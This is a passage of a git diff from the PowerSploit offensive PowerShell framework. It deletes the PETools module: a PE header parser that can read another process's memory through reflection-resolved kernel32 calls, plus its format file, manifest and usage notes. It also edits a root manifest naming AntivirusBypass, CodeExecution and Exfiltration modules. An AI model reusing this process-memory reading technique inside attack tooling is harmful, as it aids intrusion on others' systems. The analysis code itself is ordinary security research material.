Base; - public uint NumberOfFunctions; - public uint NumberOfNames; - public uint AddressOfFunctions; // RVA from base of image - public uint AddressOfNames; // RVA from base of image - public uint AddressOfNameOrdinals; // RVA from base of image - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_SECTION_HEADER - { - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] - public string Name; - public uint VirtualSize; - public uint VirtualAddress; - public uint SizeOfRawData; - public uint PointerToRawData; - public uint PointerToRelocations; - public uint PointerToLinenumbers; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public IMAGE_SCN Characteristics; - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_IMPORT_DESCRIPTOR - { - public uint OriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA) - public uint TimeDateStamp; // 0 if not bound, - // -1 if bound, and real date/time stamp - // in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND) - // O.W. date/time stamp of DLL bound to (Old BIND) - public uint ForwarderChain; // -1 if no forwarders - public uint Name; - public uint FirstThunk; // RVA to IAT (if bound this IAT has actual addresses) - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_THUNK_DATA32 - { - public Int32 AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_THUNK_DATA64 - { - public Int64 AddressOfData; // PIMAGE_IMPORT_BY_NAME - } - - [StructLayout(LayoutKind.Sequential, Pack=1)] - public struct _IMAGE_IMPORT_BY_NAME - { - public ushort Hint; - public char Name; - } - } -"@ - - $compileParams = New-Object System.CodeDom.Compiler.CompilerParameters - $compileParams.ReferencedAssemblies.AddRange(@('System.dll', 'mscorlib.dll')) - $compileParams.GenerateInMemory = $True - Add-Type -TypeDefinition $code -CompilerParameters $compileParams -PassThru -WarningAction SilentlyContinue | Out-Null - } - - function Get-DelegateType - { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [Type[]] $Parameters, - [Parameter(Position = 1)] [Type] $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - return $TypeBuilder.CreateType() - } - - function Get-ProcAddress - { - Param ( - [Parameter(Position = 0, Mandatory = $True)] [String] $Module, - [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - # Return the address of the function - - return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - $OnDisk = $True - if ($PsCmdlet.ParameterSetName -eq 'InMemory') { $OnDisk = $False } - - - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, [Type] $OpenProcessDelegate) - $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory - $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [Int], [Int].MakeByRefType()) ([Bool]) - $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, [Type] $ReadProcessMemoryDelegate) - $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle - $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, [Type] $CloseHandleDelegate) - - if ($OnDisk) { - - $FileStream = New-Object System.IO.FileStream($FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - $FileByteArray = New-Object Byte[]($FileStream.Length) - $FileStream.Read($FileByteArray, 0, $FileStream.Length) | Out-Null - $FileStream.Close() - $Handle = [System.Runtime.InteropServices.GCHandle]::Alloc($FileByteArray, 'Pinned') - $PEBaseAddr = $Handle.AddrOfPinnedObject() - - } else { - - # Size of the memory page allocated for the PE header - $HeaderSize = 0x1000 - # Allocate space for when the PE header is read from the remote process - $PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($HeaderSize + 1) - # Get handle to the process - $hProcess = $OpenProcess.Invoke(0x10, $false, $ProcessID) # PROCESS_VM_READ (0x00000010) - - # Read PE header from remote process - if (!$ReadProcessMemory.Invoke($hProcess, $ModuleBaseAddress, $PEBaseAddr, $HeaderSize, [Ref] 0)) { - if ($ModuleName) { - Write-Warning "Failed to read PE header of $ModuleName" - } else { - Write-Warning "Failed to read PE header of process ID: $ProcessID" - } - - Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))" - $CloseHandle.Invoke($hProcess) | Out-Null - return - } - - } - - $DosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEBaseAddr, [Type] [PE+_IMAGE_DOS_HEADER]) - $PointerNtHeader = [IntPtr] ($PEBaseAddr.ToInt64() + $DosHeader.e_lfanew) - $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] [PE+_IMAGE_NT_HEADERS32]) - $Architecture = ($NtHeader.FileHeader.Machine).ToString() - - $BinaryPtrWidth = 4 - - # Define relevant structure types depending upon whether the binary is 32 or 64-bit - if ($Architecture -eq 'AMD64') { - - $BinaryPtrWidth = 8 - - $PEStruct = @{ - IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER64] - NT_HEADER = [PE+_IMAGE_NT_HEADERS64] - } - - $ThunkDataStruct = [PE+_IMAGE_THUNK_DATA64] - - Write-Verbose "Architecture: $Architecture" - Write-Verbose 'Proceeding with parsing a 64-bit binary.' - - } elseif ($Architecture -eq 'I386' -or $Architecture -eq 'ARMNT' -or $Architecture -eq 'THUMB') { - - $PEStruct = @{ - IMAGE_OPTIONAL_HEADER = [PE+_IMAGE_OPTIONAL_HEADER32] - NT_HEADER = [PE+_IMAGE_NT_HEADERS32] - } - - $ThunkDataStruct = [PE+_IMAGE_THUNK_DATA32] - - Write-Verbose "Architecture: $Architecture" - Write-Verbose 'Proceeding with parsing a 32-bit binary.' - - } else { - - Write-Warning 'Get-PEHeader only supports binaries compiled for x86, AMD64, and ARM.' - return - - } - - # Need to get a new NT header in case the architecture changed - $NtHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PointerNtHeader, [Type] $PEStruct['NT_HEADER']) - # Display all section headers - $NumSections = $NtHeader.FileHeader.NumberOfSections - $NumRva = $NtHeader.OptionalHeader.NumberOfRvaAndSizes - $PointerSectionHeader = [IntPtr] ($PointerNtHeader.ToInt64() + [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $PEStruct['NT_HEADER'])) - $SectionHeaders = New-Object PSObject[]($NumSections) - foreach ($i in 0..($NumSections - 1)) - { - $SectionHeaders[$i] = [System.Runtime.InteropServices.Marshal]::PtrToStructure(([IntPtr] ($PointerSectionHeader.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_SECTION_HEADER])))), [Type] [PE+_IMAGE_SECTION_HEADER]) - } - - - if (!$OnDisk) { - - $ReadSize = $NtHeader.OptionalHeader.SizeOfImage - # Free memory allocated for the PE header - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr) - $PEBaseAddr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ReadSize + 1) - - # Read process memory of each section header - foreach ($SectionHeader in $SectionHeaders) { - if (!$ReadProcessMemory.Invoke($hProcess, [IntPtr] ($ModuleBaseAddress.ToInt64() + $SectionHeader.VirtualAddress), [IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeader.VirtualAddress), $SectionHeader.VirtualSize, [Ref] 0)) { - if ($ModuleName) { - Write-Warning "Failed to read $($SectionHeader.Name) section of $ModuleName" - } else { - Write-Warning "Failed to read $($SectionHeader.Name) section of process ID: $ProcessID" - } - - Write-Warning "Error code: 0x$([System.Runtime.InteropServices.Marshal]::GetLastWin32Error().ToString('X8'))" - $CloseHandle.Invoke($hProcess) | Out-Null - return - } - } - - # Close handle to the remote process since we no longer need to access the process. - $CloseHandle.Invoke($hProcess) | Out-Null - - } - - if ($PSBoundParameters['GetSectionData']) - { - foreach ($i in 0..($NumSections - 1)) - { - $RawBytes = $null - - if ($OnDisk) - { - $RawBytes = New-Object Byte[]($SectionHeaders[$i].SizeOfRawData) - [Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].PointerToRawData), $RawBytes, 0, $SectionHeaders[$i].SizeOfRawData) - } - else - { - $RawBytes = New-Object Byte[]($SectionHeaders[$i].VirtualSize) - [Runtime.InteropServices.Marshal]::Copy([IntPtr] ($PEBaseAddr.ToInt64() + $SectionHeaders[$i].VirtualAddress), $RawBytes, 0, $SectionHeaders[$i].VirtualSize) - } - - $SectionHeaders[$i] = Add-Member -InputObject ($SectionHeaders[$i]) -MemberType NoteProperty -Name RawData -Value $RawBytes -PassThru -Force - } - } - - function Get-Exports() - { - - if ($NTHeader.OptionalHeader.DataDirectory[0].VirtualAddress -eq 0) { - Write-Verbose 'Module does not contain any exports' - return - } - - # List all function Rvas in the export table - $ExportPointer = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress) - # This range will be used to test for the existence of forwarded functions - $ExportDirLow = $NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress - if ($OnDisk) { - $ExportPointer = Convert-RVAToFileOffset $ExportPointer - $ExportDirLow = Convert-RVAToFileOffset $ExportDirLow - $ExportDirHigh = $ExportDirLow.ToInt32() + $NtHeader.OptionalHeader.DataDirectory[0].Size - } else { $ExportDirHigh = $ExportDirLow + $NtHeader.OptionalHeader.DataDirectory[0].Size } - - $ExportDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportPointer, [Type] [PE+_IMAGE_EXPORT_DIRECTORY]) - $AddressOfNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNames) - $NameOrdinalAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfNameOrdinals) - $AddressOfFunctionsPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ExportDirectory.AddressOfFunctions) - $NumNamesFuncs = $ExportDirectory.NumberOfFunctions - $ExportDirectory.NumberOfNames - $NumNames = $ExportDirectory.NumberOfNames - $NumFunctions = $ExportDirectory.NumberOfFunctions - $Base = $ExportDirectory.Base - - # Recalculate file offsets based upon relative virtual addresses - if ($OnDisk) { - $AddressOfNamePtr = Convert-RVAToFileOffset $AddressOfNamePtr - $NameOrdinalAddrPtr = Convert-RVAToFileOffset $NameOrdinalAddrPtr - $AddressOfFunctionsPtr = Convert-RVAToFileOffset $AddressOfFunctionsPtr - } - - if ($NumFunctions -gt 0) { - - # Create an empty hash table that will contain indices to exported functions and their RVAs - $FunctionHashTable = @{} - - foreach ($i in 0..($NumFunctions - 1)) - { - - $RvaFunction = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfFunctionsPtr.ToInt64() + ($i * 4)) - # Function is exported by ordinal if $RvaFunction -ne 0. I.E. NumberOfFunction != the number of actual, exported functions. - if ($RvaFunction) { $FunctionHashTable[[Int]$i] = $RvaFunction } - - } - - # Create an empty hash table that will contain indices into RVA array and the function's name - $NameHashTable = @{} - - foreach ($i in 0..($NumNames - 1)) - { - - $RvaName = [System.Runtime.InteropServices.Marshal]::ReadInt32($AddressOfNamePtr.ToInt64() + ($i * 4)) - $FuncNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $RvaName) - if ($OnDisk) { $FuncNameAddr= Convert-RVAToFileOffset $FuncNameAddr } - $FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FuncNameAddr) - $NameOrdinal = [Int][System.Runtime.InteropServices.Marshal]::ReadInt16($NameOrdinalAddrPtr.ToInt64() + ($i * 2)) - $NameHashTable[$NameOrdinal] = $FuncName - - } - - foreach ($Key in $FunctionHashTable.Keys) - { - $Result = @{} - - if ($NameHashTable[$Key]) { - $Result['FunctionName'] = $NameHashTable[$Key] - } else { - $Result['FunctionName'] = '' - } - - if (($FunctionHashTable[$Key] -ge $ExportDirLow) -and ($FunctionHashTable[$Key] -lt $ExportDirHigh)) { - $ForwardedNameAddr = [IntPtr] ($PEBaseAddr.ToInt64() + $FunctionHashTable[$Key]) - if ($OnDisk) { $ForwardedNameAddr = Convert-RVAToFileOffset $ForwardedNameAddr } - $ForwardedName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ForwardedNameAddr) - # This script does not attempt to resolve the virtual addresses of forwarded functions - $Result['ForwardedName'] = $ForwardedName - } else { - $Result['ForwardedName'] = '' - } - - $Result['Ordinal'] = "0x$(($Key + $Base).ToString('X4'))" - $Result['RVA'] = "0x$($FunctionHashTable[$Key].ToString("X$($BinaryPtrWidth*2)"))" - #$Result['VA'] = "0x$(($FunctionHashTable[$Key] + $PEBaseAddr.ToInt64()).ToString("X$($BinaryPtrWidth*2)"))" - - $Export = New-Object PSObject -Property $Result - $Export.PSObject.TypeNames.Insert(0, 'Export') - - $Export - - } - - } else { Write-Verbose 'Module does not export any functions.' } - - } - - function Get-Imports() - { - if ($NTHeader.OptionalHeader.DataDirectory[1].VirtualAddress -eq 0) { - Write-Verbose 'Module does not contain any imports' - return - } - - $FirstImageImportDescriptorPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $NtHeader.OptionalHeader.DataDirectory[1].VirtualAddress) - if ($OnDisk) { $FirstImageImportDescriptorPtr = Convert-RVAToFileOffset $FirstImageImportDescriptorPtr } - $ImportDescriptorPtr = $FirstImageImportDescriptorPtr - - $i = 0 - # Get all imported modules - while ($true) - { - $ImportDescriptorPtr = [IntPtr] ($FirstImageImportDescriptorPtr.ToInt64() + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] [PE+_IMAGE_IMPORT_DESCRIPTOR]))) - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type] [PE+_IMAGE_IMPORT_DESCRIPTOR]) - if ($ImportDescriptor.OriginalFirstThunk -eq 0) { break } - $DllNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.Name) - if ($OnDisk) { $DllNamePtr = Convert-RVAToFileOffset $DllNamePtr } - $DllName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($DllNamePtr) - $FirstFuncAddrPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.FirstThunk) - if ($OnDisk) { $FirstFuncAddrPtr = Convert-RVAToFileOffset $FirstFuncAddrPtr } - $FuncAddrPtr = $FirstFuncAddrPtr - $FirstOFTPtr = [IntPtr] ($PEBaseAddr.ToInt64() + $ImportDescriptor.OriginalFirstThunk) - if ($OnDisk) { $FirstOFTPtr = Convert-RVAToFileOffset $FirstOFTPtr } - $OFTPtr = $FirstOFTPtr - $j = 0 - while ($true) - { - $FuncAddrPtr = [IntPtr] ($FirstFuncAddrPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct))) - $FuncAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncAddrPtr, [Type] $ThunkDataStruct) - $OFTPtr = [IntPtr] ($FirstOFTPtr.ToInt64() + ($j * [System.Runtime.InteropServices.Marshal]::SizeOf([Type] $ThunkDataStruct))) - $ThunkData = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OFTPtr, [Type] $ThunkDataStruct) - $Result = @{ ModuleName = $DllName } - - if (([System.Convert]::ToString($ThunkData.AddressOfData, 2)).PadLeft(32, '0')[0] -eq '1') - { - # Trim high order bit in order to get the ordinal value - $TempOrdinal = [System.Convert]::ToInt64(([System.Convert]::ToString($ThunkData.AddressOfData, 2))[1..63] -join '', 2) - $TempOrdinal = $TempOrdinal.ToString('X16')[-1..-4] - [Array]::Reverse($TempOrdinal) - $Ordinal = '' - $TempOrdinal | ForEach-Object { $Ordinal += $_ } - $Result['Ordinal'] = "0x$Ordinal" - $Result['FunctionName'] = '' - } - else - { - $ImportByNamePtr = [IntPtr] ($PEBaseAddr.ToInt64() + [Int64]$ThunkData.AddressOfData + 2) - if ($OnDisk) { $ImportByNamePtr = Convert-RVAToFileOffset $ImportByNamePtr } - $FuncName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportByNamePtr) - $Result['Ordinal'] = '' - $Result['FunctionName'] = $FuncName - } - - $Result['RVA'] = "0x$($FuncAddr.AddressOfData.ToString("X$($BinaryPtrWidth*2)"))" - - if ($FuncAddr.AddressOfData -eq 0) { break } - if ($OFTPtr -eq 0) { break } - - $Import = New-Object PSObject -Property $Result - $Import.PSObject.TypeNames.Insert(0, 'Import') - - $Import - - $j++ - - } - - $i++ - - } - - } - - function Convert-RVAToFileOffset([IntPtr] $Rva) - { - - foreach ($Section in $SectionHeaders) { - if ((($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -ge $Section.VirtualAddress) -and (($Rva.ToInt64() - $PEBaseAddr.ToInt64()) -lt ($Section.VirtualAddress + $Section.VirtualSize))) { - return [IntPtr] ($Rva.ToInt64() - ($Section.VirtualAddress - $Section.PointerToRawData)) - } - } - - # Pointer did not fall in the address ranges of the section headers - return $Rva - - } - - $PEFields = @{ - Module = $ModuleName - DOSHeader = $DosHeader - PESignature = $NTHeader.Signature - FileHeader = $NTHeader.FileHeader - OptionalHeader = $NTHeader.OptionalHeader - SectionHeaders = $SectionHeaders - Imports = Get-Imports - Exports = Get-Exports - } - - if ($Ondisk) { - $Handle.Free() - } else { - # Free memory allocated for the PE header - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PEBaseAddr) - } - - $PEHeader = New-Object PSObject -Property $PEFields - $PEHeader.PSObject.TypeNames.Insert(0, 'PEHeader') - - $ScriptBlock = { - $SymServerURL = 'http://msdl.microsoft.com/download/symbols' - $FileName = $this.Module.Split('\')[-1] - $Request = "{0}/{1}/{2:X8}{3:X}/{1}" -f $SymServerURL, $FileName, $this.FileHeader.TimeDateStamp, $this.OptionalHeader.SizeOfImage - $Request = "$($Request.Substring(0, $Request.Length - 1))_" - $WebClient = New-Object Net.WebClient - $WebClient.Headers.Add('User-Agent', 'Microsoft-Symbol-Server/6.6.0007.5') - Write-Host "Downloading $FileName from the Microsoft symbol server..." - $CabBytes = $WebClient.DownloadData($Request) - $CabPath = "$PWD\$($FileName.Split('.')[0]).cab" - Write-Host "Download complete. Saving it to $("$(Split-Path $CabPath)\$FileName")." - [IO.File]::WriteAllBytes($CabPath, $CabBytes) - $Shell = New-Object -Comobject Shell.Application - $CabFile = $Shell.Namespace($CabPath).Items() - $Destination = $Shell.Namespace((Split-Path $CabPath)) - $Destination.CopyHere($CabFile) - Remove-Item $CabPath -Force - } - - $PEHeader = Add-Member -InputObject $PEHeader -MemberType ScriptMethod -Name DownloadFromMSSymbolServer -Value $ScriptBlock -PassThru -Force - - return $PEHeader - -} - -} diff --git a/PETools/PETools.format.ps1xml b/PETools/PETools.format.ps1xml deleted file mode 100644 index c5102818..00000000 --- a/PETools/PETools.format.ps1xml +++ /dev/null @@ -1,374 +0,0 @@ - - - - - OptionHeaderTypes - - PE+_IMAGE_OPTIONAL_HEADER32 - PE+_IMAGE_OPTIONAL_HEADER64 - - - - - - PEView - - PEHeader - - - - - - - Module - - - DOSHeader - - - FileHeader - - - OptionalHeader - - - SectionHeaders - - - Imports - - - Exports - - - - - - - - OptionalHeaderView - - OptionHeaderTypes - - - - - - - Magic - - - MajorLinkerVersion - - - MinorLinkerVersion - - - - "0x$($_.SizeOfCode.ToString('X8'))" - - - - "0x$($_.SizeOfInitializedData.ToString('X8'))" - - - - "0x$($_.SizeOfUninitializedData.ToString('X8'))" - - - - "0x$($_.AddressOfEntryPoint.ToString('X8'))" - - - - "0x$($_.BaseOfCode.ToString('X8'))" - - - - "0x$($_.BaseOfData.ToString('X8'))" - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.ImageBase.ToString('X8'))" } else { "0x$($_.ImageBase.ToString('X16'))" } - - - - "0x$($_.SectionAlignment.ToString('X8'))" - - - - "0x$($_.FileAlignment.ToString('X8'))" - - - MajorOperatingSystemVersion - - - MinorOperatingSystemVersion - - - MajorSubsystemVersion - - - MinorSubsystemVersion - - - Win32VersionValue - - - - "0x$($_.SizeOfImage.ToString('X8'))" - - - - "0x$($_.SizeOfHeaders.ToString('X8'))" - - - - "0x$($_.CheckSum.ToString('X8'))" - - - Subsystem - - - DllCharacteristics - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackReserve.ToString('X8'))" } else { "0x$($_.SizeOfStackReserve.ToString('X16'))" } - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackCommit.ToString('X8'))" } else { "0x$($_.SizeOfStackCommit.ToString('X16'))" } - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapReserve.ToString('X8'))" } else { "0x$($_.SizeOfHeapReserve.ToString('X16'))" } - - - - if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapCommit.ToString('X8'))" } else { "0x$($_.SizeOfHeapCommit.ToString('X16'))" } - - - LoaderFlags - - - NumberOfRvaAndSizes - - - DataDirectory - - - - - - - - SectionHeaderView - - PE+_IMAGE_SECTION_HEADER - - - - - - - Right - - - - - - - - - - - - - - - - Left - - - - - - - Right - Name - - - "0x$($_.VirtualSize.ToString('X8'))" - - - "0x$($_.VirtualAddress.ToString('X8'))" - - - "0x$($_.SizeOfRawData.ToString('X8'))" - - - "0x$($_.PointerToRawData.ToString('X8'))" - - - Characteristics - - - - - - - - FileHeaderView - - PE+_IMAGE_FILE_HEADER - - - - - - - Machine - - - NumberOfSections - - - - - (New-Object DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds($_.TimeDateStamp) - - - - - PointerToSymbolTable - - - NumberOfSymbols - - - SizeOfOptionalHeader - - - Characteristics - - - - - - - - DataDirectoryView - - PE+_IMAGE_DATA_DIRECTORY - - - - - - - - - - - - - - - - "0x$($_.VirtualAddress.ToString('X8'))" - - - "0x$($_.Size.ToString('X8'))" - - - - - - - - ImportView - - Import - - - - - - - Right - - - - - - - - - - - - - - - - Right - ModuleName - - - RVA - - - Ordinal - - - FunctionName - - - - - - - - ExportView - - Export - - - - - - - - - - - - - - - - - - - - - - RVA - - - Ordinal - - - FunctionName - - - ForwardedName - - - - - - - - diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 deleted file mode 100644 index ef470a7d..00000000 --- a/PETools/PETools.psd1 +++ /dev/null @@ -1,89 +0,0 @@ -@{ - -# Script module or binary module file associated with this manifest. -ModuleToProcess = 'PETools.psm1' - -# Version number of this module. -ModuleVersion = '1.0.0.0' - -# ID used to uniquely identify this module -GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402' - -# Author of this module -Author = 'Matthew Graeber' - -# Company or vendor of this module -CompanyName = '' - -# Copyright statement for this module -Copyright = 'BSD 3-Clause' - -# Description of the functionality provided by this module -Description = 'PowerSploit Portable Executable Analysis Module' - -# Minimum version of the Windows PowerShell engine required by this module -PowerShellVersion = '2.0' - -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.format.ps1xml' - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - -# Functions to export from this module -FunctionsToExport = '*' - -# Cmdlets to export from this module -CmdletsToExport = '*' - -# Variables to export from this module -VariablesToExport = '' - -# Aliases to export from this module -AliasesToExport = '' - -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'}) - -# List of all files packaged with this module -FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1', - 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.ps1', - 'Usage.md' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} diff --git a/PETools/PETools.psm1 b/PETools/PETools.psm1 deleted file mode 100644 index 81d38186..00000000 --- a/PETools/PETools.psm1 +++ /dev/null @@ -1 +0,0 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} diff --git a/PETools/Usage.md b/PETools/Usage.md deleted file mode 100644 index 6c96b10d..00000000 --- a/PETools/Usage.md +++ /dev/null @@ -1,12 +0,0 @@ -To install this module, drop the entire PETools folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module PETools` - -To see the commands imported, type `Get-Command -Module PETools` - -For help on each individual command, Get-Help is your friend. - -Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 049c4919..678294b8 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -1,5 +1,4 @@ @{ - # Script module or binary module file associated with this manifest. ModuleToProcess = 'PowerSploit.psm1' @@ -24,39 +23,6 @@ Description = 'PowerSploit Root Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' -# Name of the Windows PowerShell host required by this module -# PowerShellHostName = '' - -# Minimum version of the Windows PowerShell host required by this module -# PowerShellHostVersion = '' - -# Minimum version of the .NET Framework required by this module -# DotNetFrameworkVersion = '' - -# Minimum version of the common language runtime (CLR) required by this module -# CLRVersion = '' - -# Processor architecture (None, X86, Amd64) required by this module -# ProcessorArchitecture = '' - -# Modules that must be imported into the global environment prior to importing this module -# RequiredModules = @() - -# Assemblies that must be loaded prior to importing this module -# RequiredAssemblies = @() - -# Script files (.ps1) that are run in the caller's environment prior to importing this module. -# ScriptsToProcess = '' - -# Type files (.ps1xml) to be loaded when importing this module -# TypesToProcess = @() - -# Format files (.ps1xml) to be loaded when importing this module -# FormatsToProcess = @() - -# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess -# NestedModules = @() - # Functions to export from this module FunctionsToExport = '*' @@ -70,28 +36,10 @@ VariablesToExport = '' AliasesToExport = '' # List of all modules packaged with this module. -ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = '6753b496-d842-40a3-924a-0f09e248640c'}, - @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, +ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, @{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = 